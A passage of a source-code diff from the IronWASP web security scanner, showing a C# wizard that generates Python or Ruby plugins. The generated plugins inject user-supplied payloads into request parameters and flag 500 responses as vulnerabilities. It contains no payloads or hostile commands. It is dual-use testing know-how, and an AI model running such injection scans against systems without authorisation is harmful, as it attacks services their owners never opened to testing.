RbCode = PluginCodes[1]; - - string PluginCode = PyCode; - - string PluginLang = "py"; - if (PluginLangRubyRB.Checked) - { - PluginCode = RbCode; - PluginLang = "rb"; - } - - bool PluginCreated = false; - int Counter = 0; - string FFN = ""; - - while (!PluginCreated) - { - string FN = ""; - if (Counter == 0) - FN = string.Format("{0}.{1}", PluginName, PluginLang); - else - FN = string.Format("{0}_{1}.{2}", PluginName, Counter, PluginLang); - FFN = string.Format("{0}\\plugins\\active\\{1}", Config.Path, FN); - Counter++; - if (!File.Exists(FFN)) - { - File.WriteAllText(FFN, PluginCode); - PluginCreated = true; - PluginEngine.LoadNewActivePlugins(); - PluginFileTB.Text = FFN; - } - } - } - - void SavePayloadsToFile() - { - bool FileCreated = false; - int Counter = 0; - string FFN = ""; - StringBuilder SB = new StringBuilder(); - foreach (string Payload in this.Payloads) - { - SB.AppendLine(Payload); - } - while (!FileCreated) - { - string FN = ""; - if (Counter == 0) - FN = string.Format("{0}_payloads.txt", PluginName); - else - FN = string.Format("{0}_payloads_{1}.txt", PluginName, Counter); - FFN = string.Format("{0}\\plugins\\active\\{1}", Config.Path, FN); - Counter++; - if (!File.Exists(FFN)) - { - File.WriteAllText(FFN, SB.ToString()); - FileCreated = true; - this.PayloadsFileName = FN; - } - } - } - - string[] CreatePluginCode() - { - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - - Py.AppendLine("from IronWASP import *"); - Py.AppendLine("import re"); - Py.AppendLine(); - Py.AppendLine(); - - Rb.AppendLine("include IronWASP"); - Rb.AppendLine(); - Rb.AppendLine(); - - Py.AppendLine("#Extend the ActivePlugin base class"); - Py.AppendLine(string.Format("class {0}(ActivePlugin):", PluginName)); - Py.AppendLine(); - Py.AppendLine(); - - Rb.AppendLine("#Extend the ActivePlugin base class"); - Rb.AppendLine(string.Format("class {0} < ActivePlugin", PluginName)); - Rb.AppendLine(); - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("attr_accessor :payloads"); - Rb.AppendLine(); - - - Py.Append(" "); Py.AppendLine("#Implement the GetInstance method of ActivePlugin class. This method is used to create new instances of this plugin."); - Py.Append(" "); Py.AppendLine("def GetInstance(self):"); - Py.Append(" "); Py.AppendLine(string.Format("p = {0}()", PluginName)); - Py.Append(" "); Py.AppendLine(string.Format("p.Name = '{0}'", PluginName)); - Py.Append(" "); Py.AppendLine(string.Format("p.Description = '{0}'", PluginDescription.Replace("'", "\\'"))); - Py.Append(" "); Py.AppendLine(string.Format("p.Version = '0.1'", PluginName)); - Py.Append(" "); Py.AppendLine("p.payloads = []"); - - Rb.Append(" "); Rb.AppendLine("#Implement the GetInstance method of ActivePlugin class. This method is used to create new instances of this plugin."); - Rb.Append(" "); Rb.AppendLine("def GetInstance()"); - Rb.Append(" "); Rb.AppendLine(string.Format("p = {0}.new", PluginName)); - Rb.Append(" "); Rb.AppendLine(string.Format("p.name = '{0}'", PluginName)); - Rb.Append(" "); Rb.AppendLine(string.Format("p.description = '{0}'", PluginDescription.Replace("'", "\\'"))); - Rb.Append(" "); Rb.AppendLine(string.Format("p.version = '0.1'", PluginName)); - Rb.Append(" "); Rb.AppendLine("p.payloads = []"); - - if(this.Payloads.Count > this.MaxCountForPayloadsList) - { - Py.Append(" "); Py.AppendLine("#Update this instance with the payloads read from the payloads file"); - Py.Append(" "); Py.AppendLine("p.payloads.extend(self.payloads)"); - - Rb.Append(" "); Rb.AppendLine("#Update this instance with the payloads read from the payloads file"); - Rb.Append(" "); Rb.AppendLine("for payload in @payloads"); - Rb.Append(" "); Rb.AppendLine("p.payloads.push(payload)"); - Rb.Append(" "); Rb.AppendLine("end"); - } - Py.Append(" "); Py.AppendLine("return p"); - Py.AppendLine(); - Py.AppendLine(); - - Rb.Append(" "); Rb.AppendLine("return p"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - Rb.AppendLine(); - - Py.Append(" "); Py.AppendLine("#Implement the Check method of ActivePlugin class. This is the method called by the Scanner and the entry point in to the plugin."); - Py.Append(" "); Py.AppendLine("def Check(self, scnr):"); - Py.Append(" "); Py.AppendLine("self.scnr = scnr # 'scnr' is the Scanner object calling this plugin"); - Py.Append(" "); Py.AppendLine("#Print out a message to the Scan trace indicating the start of the check. Check the comments at the bottom to know more about the Trace feature and the formattng inside Scan trace messages."); - Py.Append(" "); Py.AppendLine(string.Format(@"self.scnr.Trace("">>Checking for {0}:>>>"")", PluginName)); - - Rb.Append(" "); Rb.AppendLine("#Implement the Check method of ActivePlugin class. This is the method called by the Scanner and the entry point in to the plugin."); - Rb.Append(" "); Rb.AppendLine("def Check(scnr)"); - Rb.Append(" "); Rb.AppendLine("@scnr = scnr # 'scnr' is the Scanner object calling this plugin"); - Rb.Append(" "); Rb.AppendLine("#Print out a message to the Scan trace indicating the start of the check. Check the comments at the bottom to know more about the Trace feature and the formattng inside Scan trace messages."); - Rb.Append(" "); Rb.AppendLine(string.Format(@"@scnr.trace("">>Checking for {0}:>>>"")", PluginName)); - - if(this.Payloads.Count <= this.MaxCountForPayloadsList) - { - Py.Append(" "); Py.AppendLine("#Store the payloads in a list"); - Py.Append(" ");Py.Append("self.payloads = ["); - - Rb.Append(" "); Rb.AppendLine("#Store the payloads in a list"); - Rb.Append(" "); Rb.Append("@payloads = ["); - - for(int i = 0; i < this.Payloads.Count; i++) - { - string Payload = this.Payloads[i]; - - Py.Append("\""); Py.Append(Tools.EscapeDoubleQuotes(Payload)); Py.Append("\""); - Rb.Append("\""); Rb.Append(Tools.EscapeDoubleQuotes(Payload)); Rb.Append("\""); - - if (i < (this.Payloads.Count - 1)) - { - Py.Append(","); - Rb.Append(","); - } - } - Py.Append("]"); - Py.AppendLine(); - - Rb.Append("]"); - Rb.AppendLine(); - } - Py.Append(" "); Py.AppendLine("#Request trace adds information about the request to the Trace. The log id of the Request is automatically added."); - Py.Append(" "); Py.AppendLine(@"self.scnr.RequestTrace(""Sending request without payloads to get normal response - "")"); - Py.Append(" "); Py.AppendLine("#This methods sends the original request without any payloads. If any Session Plugin is selected with this scan job then that Session Plugin is used to update the original request before sending."); - Py.Append(" "); Py.AppendLine(@"res = self.scnr.Inject()"); - Py.Append(" "); Py.AppendLine("#Response trace adds information about the response to the Trace in the same line as the previous RequestTrace message. This and RequestTrace must be called together."); - Py.Append(" "); Py.AppendLine(@"self.scnr.ResponseTrace("" ==> Normal Code - "" + str(res.Code) + "" | Normal Length - "" + str(res.BodyLength))"); - Py.Append(" "); Py.AppendLine(@"self.scnr.Trace("">>Starting injection of payloads>>"")"); - Py.Append(" "); Py.AppendLine("for payload in self.payloads:"); - Py.Append(" "); Py.AppendLine("#Since the payloads are stored in url encoded form they are decoded before being used."); - Py.Append(" "); Py.AppendLine("payload = Tools.UrlDecode(payload)"); - - Rb.Append(" "); Rb.AppendLine("#Request trace adds information about the request to the Trace. The log id of the Request is automatically added."); - Rb.Append(" "); Rb.AppendLine(@"@scnr.request_trace(""Sending request without payloads to get normal response - "")"); - Rb.Append(" "); Rb.AppendLine("#This methods sends the original request without any payloads. If any Session Plugin is selected with this scan job then that Session Plugin is used to update the original request before sending."); - Rb.Append(" "); Rb.AppendLine(@"res = @scnr.inject"); - Rb.Append(" "); Rb.AppendLine("#Response trace adds information about the response to the Trace in the same line as the previous RequestTrace message. This and RequestTrace must be called together."); - Rb.Append(" "); Rb.AppendLine(@"@scnr.response_trace("" ==> Normal Code - "" + res.code.to_s + "" | Normal Length - "" + res.body_length.to_s)"); - Rb.Append(" "); Rb.AppendLine(@"@scnr.trace("">>Starting injection of payloads>>"")"); - Rb.Append(" "); Rb.AppendLine("for payload in @payloads"); - Rb.Append(" "); Rb.AppendLine("#Since the payloads are stored in url encoded form they are decoded before being used."); - Rb.Append(" "); Rb.AppendLine("payload = Tools.url_decode(payload)"); - - if (OriginalParameterBeforePayloadRB.Checked) - { - Py.Append(" "); Py.AppendLine("#The original value of the currently tested parameter is added before the payload. self.scnr.PreInjectionParameterValue gives this value."); - Py.Append(" "); Py.AppendLine("payload = self.scnr.PreInjectionParameterValue + payload"); - - Rb.Append(" "); Rb.AppendLine("#The original value of the currently tested parameter is added before the payload. @scnr.pre_injection_parameter_value gives this value."); - Rb.Append(" "); Rb.AppendLine("payload = @scnr.pre_injection_parameter_value + payload"); - } - else if (OriginalParameterAfterPayloadRB.Checked) - { - Py.Append(" "); Py.AppendLine("#The original value of the currently tested parameter is added at the end of the payload. self.scnr.PreInjectionParameterValue gives this value."); - Py.Append(" "); Py.AppendLine("payload = payload + self.scnr.PreInjectionParameterValue"); - - Rb.Append(" "); Rb.AppendLine("#The original value of the currently tested parameter is added at the end of the payload. @scnr.pre_injection_parameter_value gives this value."); - Rb.Append(" "); Rb.AppendLine("payload = payload + @scnr.pre_injection_parameter_value"); - } - Py.Append(" "); Py.AppendLine("#Tools.EncodeForTrace converts the input in to a form that is friendly towards being added to the Scan Trace"); - Py.Append(" "); Py.AppendLine(@"self.scnr.RequestTrace(""Injected - "" + Tools.EncodeForTrace(payload))"); - Py.Append(" "); Py.AppendLine("#The payload is injected in the parameter currently being tested and the response is returned. If a Session Plugin was used along with this Scan Job it would have been called now internally."); - Py.Append(" "); Py.AppendLine(@"res = self.scnr.Inject(payload)"); - Py.Append(" "); Py.AppendLine("if res.Code == 500:"); - Py.Append(" "); Py.AppendLine(@"self.scnr.ResponseTrace("" ==> > Got 500 response code. Indicates error on the server.>"")"); - Py.Append(" "); Py.AppendLine("#If the response code is 500 then we report a vulnerability"); - Py.Append(" "); Py.AppendLine("self.report_vuln(Tools.EncodeForTrace(payload))"); - Py.Append(" "); Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine(@"self.scnr.ResponseTrace("" ==> Code - "" + str(res.Code) + "" | Length - "" + str(res.BodyLength))"); - Py.AppendLine(); - Py.AppendLine(); - - Rb.Append(" "); Rb.AppendLine("#Tools.encode_for_trace converts the input in to a form that is friendly towards being added to the Scan Trace"); - Rb.Append(" "); Rb.AppendLine(@"@scnr.request_trace(""Injected - "" + Tools.encode_for_trace(payload))"); - Rb.Append(" "); Rb.AppendLine("#The payload is injected in the parameter currently being tested and the response is returned. If a Session Plugin was used along with this Scan Job it would have been called now internally."); - Rb.Append(" "); Rb.AppendLine(@"res = @scnr.inject(payload)"); - Rb.Append(" "); Rb.AppendLine("if res.code == 500"); - Rb.Append(" "); Rb.AppendLine(@"@scnr.response_trace("" ==> > Got 500 response code. Indicates error on the server.>"")"); - Rb.Append(" "); Rb.AppendLine("#If the response code is 500 then we report a vulnerability"); - Rb.Append(" "); Rb.AppendLine("report_vuln(Tools.encode_for_trace(payload))"); - Rb.Append(" "); Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine(@"@scnr.response_trace("" ==> Code - "" + res.code.to_s + "" | Length - "" + res.body_length.to_s)"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - Rb.AppendLine(); - - Py.Append(" "); Py.AppendLine("#This method implements the vulnerability reporting function"); - Py.Append(" "); Py.AppendLine("def report_vuln(self, payload):"); - Py.Append(" "); Py.AppendLine("#Create a new instance of the Finding class, it takes the BaseUrl property of the Request object as constructor argument. The self.scnr.BaseRequest property returns the original request that is being scanned."); - Py.Append(" "); Py.AppendLine("f = Finding(self.scnr.BaseRequest.BaseUrl)"); - Py.Append(" "); Py.AppendLine("#The type of the finding is set as vulnerability. Other possible values are FindingType.Information and FindingType.TestLead"); - Py.Append(" "); Py.AppendLine("f.Type = FindingType.Vulnerability"); - Py.Append(" "); Py.AppendLine("#The confidence of the finding is set as Medium. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingConfidence.High and FindingConfidence.Low"); - Py.Append(" "); Py.AppendLine("f.Confidence = FindingConfidence.Medium"); - Py.Append(" "); Py.AppendLine("#The severity of the finding is set as High. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingSeverity.Medium and FindingSeverity.Low"); - Py.Append(" "); Py.AppendLine("f.Severity = FindingSeverity.High"); - Py.Append(" "); Py.AppendLine("#This vulnerability is given a title"); - Py.Append(" "); Py.AppendLine(string.Format("f.Title = '{0} vulnerability found'", this.PluginName)); - Py.Append(" "); Py.AppendLine("#This vulnerability summary and trace are added. self.scnr.InjectedParameter gives the name of the parameter that was tested. self.scnr.InjectedSection gives the section where the parameter is located in the request. self.scnr.GetTrace() returns the scan trace messages collected up to this ponit as a string."); - Py.Append(" "); Py.AppendLine(string.Format(@"f.Summary = ""{0} vulnerability has been detected in the '"" + self.scnr.InjectedParameter + ""' parameter of the "" + self.scnr.InjectedSection + "" section of the request. >>>Test Trace:> "" + self.scnr.GetTrace()", this.PluginName)); - Py.Append(" "); Py.AppendLine("#Triggers are a collection of Trigger objects. A Trigger is a set of Request object, corrresponding Response object and some keywords that were found in the Request and Response that triggered the detection of this vulnerability."); - Py.Append(" "); Py.AppendLine("#self.scnr.InjectedRequest property returns the request that was sent using the Inject method and self.scnr.InjectionResponse property gives the response to that request. In this case the request trigger is added as the injected payload and the response trigger is the status code 500"); - Py.Append(" "); Py.AppendLine(@"f.Triggers.Add(payload, self.scnr.InjectedRequest, '500', self.scnr.InjectionResponse)"); - Py.Append(" "); Py.AppendLine("#After defining the vulnerability it is added to the scanner objects list of findings"); - Py.Append(" "); Py.AppendLine("self.scnr.AddFinding(f)"); - Py.Append(" "); Py.AppendLine("#self.scnr.SetTraceTitle sets a title to this scan trace message. A title makes it easy to identify that this particular scan had some interesting finding."); - Py.Append(" "); Py.AppendLine("#The second argument to this function is the title importantance value. The SetTraceTitle method can be called multiple times in this plugin. But only the title that was given the highest importance value will be displayed in the scan trace. If there are more than one title with the highest priority value then their all these high importance titles will be shown."); - Py.Append(" "); Py.AppendLine(string.Format(@"self.scnr.SetTraceTitle(""{0} Found"",100)", this.PluginName)); - - Rb.Append(" "); Rb.AppendLine("#This method implements the vulnerability reporting function"); - Rb.Append(" "); Rb.AppendLine("def report_vuln(payload)"); - Rb.Append(" "); Rb.AppendLine("#Create a new instance of the Finding class, it takes the BaseUrl property of the Request object as constructor argument. The @scnr.base_request.base_url property returns the original request that is being scanned."); - Rb.Append(" "); Rb.AppendLine("f = Finding.new(@scnr.base_request.base_url)"); - Rb.Append(" "); Rb.AppendLine("#The type of the finding is set as vulnerability. Other possible values are FindingType.information and FindingType.test_lead"); - Rb.Append(" "); Rb.AppendLine("f.type = FindingType.vulnerability"); - Rb.Append(" "); Rb.AppendLine("#The confidence of the finding is set as Medium. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingConfidence.high and FindingConfidence.low"); - Rb.Append(" "); Rb.AppendLine("f.confidence = FindingConfidence.medium"); - Rb.Append(" "); Rb.AppendLine("#The severity of the finding is set as High. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingSeverity.Medium and FindingSeverity.Low"); - Rb.Append(" "); Rb.AppendLine("f.severity = FindingSeverity.high"); - Rb.Append(" "); Rb.AppendLine("#This vulnerability is given a title"); - Rb.Append(" "); Rb.AppendLine(string.Format("f.title = '{0} vulnerability found'", this.PluginName)); - Rb.Append(" "); Rb.AppendLine("#This vulnerability summary and trace are added. @scnr.injected_parameter gives the name of the parameter that was tested. @scnr.injected_section gives the section where the parameter is located in the request. @scnr.get_trace returns the scan trace messages collected up to this ponit as a string."); - Rb.Append(" "); Rb.AppendLine(string.Format(@"f.summary = ""{0} vulnerability has been detected in the '"" + @scnr.injected_parameter + ""' parameter of the "" + @scnr.injected_section + "" section of the request. >>>Test Trace:> "" + @scnr.get_trace", this.PluginName)); - Rb.Append(" "); Rb.AppendLine("#Triggers are a collection of Trigger objects. A Trigger is a set of Request object, corrresponding Response object and some keywords that were found in the Request and Response that triggered the detection of this vulnerability."); - Rb.Append(" "); Rb.AppendLine("#@scnr.injected_request property returns the request that was sent using the Inject method and @scnr.injection_response property gives the response to that request. In this case the request trigger is added as the injected payload and the response trigger is the status code 500"); - Rb.Append(" "); Rb.AppendLine(@"f.triggers.add(payload, @scnr.injected_request, '500', @scnr.injection_response)"); - Rb.Append(" "); Rb.AppendLine("#After defining the vulnerability it is added to the scanner objects list of findings"); - Rb.Append(" "); Rb.AppendLine("@scnr.add_finding(f)"); - Rb.Append(" "); Rb.AppendLine("#@scnr.set_trace_title sets a title to this scan trace message. A title makes it easy to identify that this particular scan had some interesting finding."); - Rb.Append(" "); Rb.AppendLine("#The second argument to this function is the title importantance value. The set_trace_title method can be called multiple times in this plugin. But only the title that was given the highest importance value will be displayed in the scan trace. If there are more than one title with the highest priority value then their all these high importance titles will be shown."); - Rb.Append(" "); Rb.AppendLine(string.Format(@"@scnr.set_trace_title(""{0} Found"",100)", this.PluginName)); - Rb.Append(" "); Rb.AppendLine("end"); - - if (this.Payloads.Count > this.MaxCountForPayloadsList) - { - Py.AppendLine(); - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("#This method reads the payloads from the payloads files and stores it in a variable"); - Py.Append(" "); Py.AppendLine("def load_payloads_from_file(self):"); - Py.Append(" "); Py.AppendLine("#Config.Path gives the full path directory containing IronWASP.exe"); - Py.Append(" "); Py.AppendLine(string.Format(@"p_file = open(Config.Path + ""\\plugins\\active\\{0}"")", this.PayloadsFileName)); - Py.Append(" "); Py.AppendLine("self.payloads = []"); - Py.Append(" "); Py.AppendLine("payloads_with_newline = p_file.readlines()"); - Py.Append(" "); Py.AppendLine("p_file.close()"); - Py.Append(" "); Py.AppendLine("for pwnl in payloads_with_newline:"); - Py.Append(" "); Py.AppendLine("self.payloads.append(pwnl.rstrip())"); - - Rb.AppendLine(); - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("#This method reads the payloads from the payloads files and stores it in a variable"); - Rb.Append(" "); Rb.AppendLine("def load_payloads_from_file()"); - Rb.Append(" "); Rb.AppendLine("#Config.path gives the full path directory containing IronWASP.exe"); - Rb.Append(" "); Rb.AppendLine(string.Format(@"p_file = File.open(Config.path + ""\\plugins\\active\\{0}"")", this.PayloadsFileName)); - Rb.Append(" "); Rb.AppendLine("@payloads = []"); - Rb.Append(" "); Rb.AppendLine("payloads_with_newline = p_file.readlines"); - Rb.Append(" "); Rb.AppendLine("p_file.close"); - Rb.Append(" "); Rb.AppendLine("for pwnl in payloads_with_newline"); - Rb.Append(" "); Rb.AppendLine("@payloads.push(pwnl.rstrip)"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - } - Py.AppendLine(); - Py.AppendLine(); - Py.AppendLine(); - Py.AppendLine("#This code is executed only once when this new plugin is loaded in to the memory."); - Py.AppendLine("#Create an instance of the this plugin"); - Py.AppendLine(string.Format("p = {0}()", this.PluginName)); - - Rb.AppendLine("end"); - Rb.AppendLine(); - Rb.AppendLine(); - Rb.AppendLine(); - Rb.AppendLine("#This code is executed only once when this new plugin is loaded in to the memory."); - Rb.AppendLine("#Create an instance of the this plugin"); - Rb.AppendLine(string.Format("p = {0}.new", this.PluginName)); - - if (this.Payloads.Count > this.MaxCountForPayloadsList) - { - Py.AppendLine("#load payloads from the file"); - Py.AppendLine("p.load_payloads_from_file()"); - - Rb.AppendLine("#load payloads from the file"); - Rb.AppendLine("p.load_payloads_from_file"); - } - Py.AppendLine("#Call the GetInstance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of ActivePlugins"); - Py.AppendLine("ActivePlugin.Add(p.GetInstance())"); - Py.AppendLine(); - Py.AppendLine(); - - Rb.AppendLine("#Call the get_instance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of ActivePlugins"); - Rb.AppendLine("ActivePlugin.add(p.get_instance)"); - Rb.AppendLine(); - Rb.AppendLine(); - - string BottomComments = @" -#Information about Trace and Trace message formatting -#IronWASP has a special Scan Trace feature using which the plugin can tell the user exactly what it tried to do during the scan. -#The scan messages are available in the Automated Scanning -> Scan Trace section. -#The messasge formation system used is similar to HTML. There are special tags that you can use to format the message in differnet forms. -#The same system can be used to format your Finding summary as well. -#>introduces a line break -#>Makes the enclosed text bold> -#>Makes the enclosed text prominent like a heading> -#>Makes the enclosed text appear in red> -#>Makes the enclosed text appear in green> -#>Makes the enclosed text appear in blue> -#>Highlights the enclosed text appear in red> -#>Highlights the enclosed text appear in green> -#>Highlights the enclosed text appear in blue> -"; - Py.AppendLine(BottomComments); - Rb.AppendLine(BottomComments); - return new string[]{Py.ToString(), Rb.ToString()}; - } - - private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (!BaseTabs.SelectedTab.Name.Equals(IndexNames[this.CurrentStep])) - BaseTabs.SelectTab(IndexNames[this.CurrentStep]); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Text.RegularExpressions; +using System.IO; + +namespace IronWASP +{ + public partial class ActivePluginCreationAssistant : Form + { + string PluginName = ""; + string PluginDescription = ""; + List Payloads = new List(); + + int CurrentStep = 0; + string[] IndexNames = new string[] { "NameTab", "PayloadsTab", "LanguageTab", "FinalTab" }; + + string PayloadsFileName = ""; + + int MaxCountForPayloadsList = 5; + + public ActivePluginCreationAssistant() + { + InitializeComponent(); + } + + private void StepOneNextBtn_Click(object sender, EventArgs e) + { + ShowStep0Error(""); + string Name = PluginNameTB.Text.Trim(); + if (Name.Length == 0) + { + PluginNameTB.BackColor = Color.Red; + ShowStep0Error("Plugin name cannot be empty"); + return; + } + if (!Regex.IsMatch(Name, "^[a-zA-Z]+$")) + { + PluginNameTB.BackColor = Color.Red; + ShowStep0Error("Plugin Name should only contain alphabets (a-z)"); + return; + } + if (!Name[0].ToString().ToUpper().Equals(Name[0].ToString())) + { + ShowStep0Error("Plugin Name should begin with an upper case letter"); + return; + } + if (ActivePlugin.List().Contains(Name)) + { + PluginNameTB.BackColor = Color.Red; + ShowStep0Error("An Active Plugin with this name already exists. Select a different name."); + return; + } + string Desc = PluginDescTB.Text; + if (Desc.Trim().Length == 0) + { + PluginDescTB.BackColor = Color.Red; + ShowStep0Error("Plugin description cannot be empty"); + return; + } + this.PluginName = Name; + this.PluginDescription = Desc; + this.CurrentStep = 1; + this.BaseTabs.SelectTab("PayloadsTab"); + } + + void ShowStep0Status(string Text) + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Black; + this.Step0StatusTB.Visible = true; + } + } + void ShowStep0Error(string Text) + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Red; + this.Step0StatusTB.Visible = true; + } + } + void ShowStep1Status(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step1StatusTB.Visible = false; + } + else + { + this.Step1StatusTB.ForeColor = Color.Black; + this.Step1StatusTB.Visible = true; + } + } + void ShowStep1Error(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step1StatusTB.Visible = false; + } + else + { + this.Step1StatusTB.ForeColor = Color.Red; + this.Step1StatusTB.Visible = true; + } + } + void ShowStep2Status(string Text) + { + this.Step2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step2StatusTB.Visible = false; + } + else + { + this.Step2StatusTB.ForeColor = Color.Black; + this.Step2StatusTB.Visible = true; + } + } + void ShowStep2Error(string Text) + { + this.Step2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step2StatusTB.Visible = false; + } + else + { + this.Step2StatusTB.ForeColor = Color.Red; + this.Step2StatusTB.Visible = true; + } + } + + private void PluginNameTB_TextChanged(object sender, EventArgs e) + { + if (PluginNameTB.BackColor == Color.Red) PluginNameTB.BackColor = Color.White; + } + + private void PluginDescTB_TextChanged(object sender, EventArgs e) + { + if (PluginDescTB.BackColor == Color.Red) PluginDescTB.BackColor = Color.White; + } + + private void CancelBtn_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void StepTwoPreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 0; + this.BaseTabs.SelectTab("NameTab"); + } + + private void StepTwoNextBtn_Click(object sender, EventArgs e) + { + ShowStep1Error(""); + List PayloadsTempList = new List(PayloadsListTB.Text.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)); + if (PayloadsTempList.Count == 0) + { + ShowStep1Error("No valid payloads were entered. Enter atleast one payload before you proceed to next step."); + } + else + { + this.Payloads.Clear(); + this.Payloads = new List(PayloadsTempList); + this.CurrentStep = 2; + this.BaseTabs.SelectTab("LanguageTab"); + } + } + + private void StepThreePreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 1; + this.BaseTabs.SelectTab("PayloadsTab"); + } + + private void StepThreeNextBtn_Click(object sender, EventArgs e) + { + ShowStep2Error(""); + try + { + CreatePlugin(); + } + catch (Exception Exp) + { + ShowStep2Error(string.Format("Unable to create plugin file - {0}", Exp.Message)); + return; + } + this.CurrentStep = 3; + this.BaseTabs.SelectTab("FinalTab"); + } + + private void FinalBtn_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void LoadPayloadsFileLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + while (PayloadFileOpener.ShowDialog() == DialogResult.OK) + { + FileInfo Info = new FileInfo(PayloadFileOpener.FileName); + try + { + StreamReader SR = new StreamReader(Info.FullName); + PayloadsListTB.Text = SR.ReadToEnd(); + SR.Close(); + PayloadsFileLbl.Text = Info.FullName; + } + catch(Exception Exp) + { + MessageBox.Show(string.Format("Error reading selected file: {0}", Exp)); + } + break; + } + } + + void CreatePlugin() + { + if (this.Payloads.Count > this.MaxCountForPayloadsList) SavePayloadsToFile(); + string[] PluginCodes = CreatePluginCode(); + string PyCode = PluginCodes[0]; + string RbCode = PluginCodes[1]; + + string PluginCode = PyCode; + + string PluginLang = "py"; + if (PluginLangRubyRB.Checked) + { + PluginCode = RbCode; + PluginLang = "rb"; + } + + bool PluginCreated = false; + int Counter = 0; + string FFN = ""; + + while (!PluginCreated) + { + string FN = ""; + if (Counter == 0) + FN = string.Format("{0}.{1}", PluginName, PluginLang); + else + FN = string.Format("{0}_{1}.{2}", PluginName, Counter, PluginLang); + FFN = string.Format("{0}\\plugins\\active\\{1}", Config.Path, FN); + Counter++; + if (!File.Exists(FFN)) + { + File.WriteAllText(FFN, PluginCode); + PluginCreated = true; + PluginEngine.LoadNewActivePlugins(); + PluginFileTB.Text = FFN; + } + } + } + + void SavePayloadsToFile() + { + bool FileCreated = false; + int Counter = 0; + string FFN = ""; + StringBuilder SB = new StringBuilder(); + foreach (string Payload in this.Payloads) + { + SB.AppendLine(Payload); + } + while (!FileCreated) + { + string FN = ""; + if (Counter == 0) + FN = string.Format("{0}_payloads.txt", PluginName); + else + FN = string.Format("{0}_payloads_{1}.txt", PluginName, Counter); + FFN = string.Format("{0}\\plugins\\active\\{1}", Config.Path, FN); + Counter++; + if (!File.Exists(FFN)) + { + File.WriteAllText(FFN, SB.ToString()); + FileCreated = true; + this.PayloadsFileName = FN; + } + } + } + + string[] CreatePluginCode() + { + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + + Py.AppendLine("from IronWASP import *"); + Py.AppendLine("import re"); + Py.AppendLine(); + Py.AppendLine(); + + Rb.AppendLine("include IronWASP"); + Rb.AppendLine(); + Rb.AppendLine(); + + Py.AppendLine("#Extend the ActivePlugin base class"); + Py.AppendLine(string.Format("class {0}(ActivePlugin):", PluginName)); + Py.AppendLine(); + Py.AppendLine(); + + Rb.AppendLine("#Extend the ActivePlugin base class"); + Rb.AppendLine(string.Format("class {0} < ActivePlugin", PluginName)); + Rb.AppendLine(); + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("attr_accessor :payloads"); + Rb.AppendLine(); + + + Py.Append(" "); Py.AppendLine("#Implement the GetInstance method of ActivePlugin class. This method is used to create new instances of this plugin."); + Py.Append(" "); Py.AppendLine("def GetInstance(self):"); + Py.Append(" "); Py.AppendLine(string.Format("p = {0}()", PluginName)); + Py.Append(" "); Py.AppendLine(string.Format("p.Name = '{0}'", PluginName)); + Py.Append(" "); Py.AppendLine(string.Format("p.Description = '{0}'", PluginDescription.Replace("'", "\\'"))); + Py.Append(" "); Py.AppendLine(string.Format("p.Version = '0.1'", PluginName)); + Py.Append(" "); Py.AppendLine("p.payloads = []"); + + Rb.Append(" "); Rb.AppendLine("#Implement the GetInstance method of ActivePlugin class. This method is used to create new instances of this plugin."); + Rb.Append(" "); Rb.AppendLine("def GetInstance()"); + Rb.Append(" "); Rb.AppendLine(string.Format("p = {0}.new", PluginName)); + Rb.Append(" "); Rb.AppendLine(string.Format("p.name = '{0}'", PluginName)); + Rb.Append(" "); Rb.AppendLine(string.Format("p.description = '{0}'", PluginDescription.Replace("'", "\\'"))); + Rb.Append(" "); Rb.AppendLine(string.Format("p.version = '0.1'", PluginName)); + Rb.Append(" "); Rb.AppendLine("p.payloads = []"); + + if(this.Payloads.Count > this.MaxCountForPayloadsList) + { + Py.Append(" "); Py.AppendLine("#Update this instance with the payloads read from the 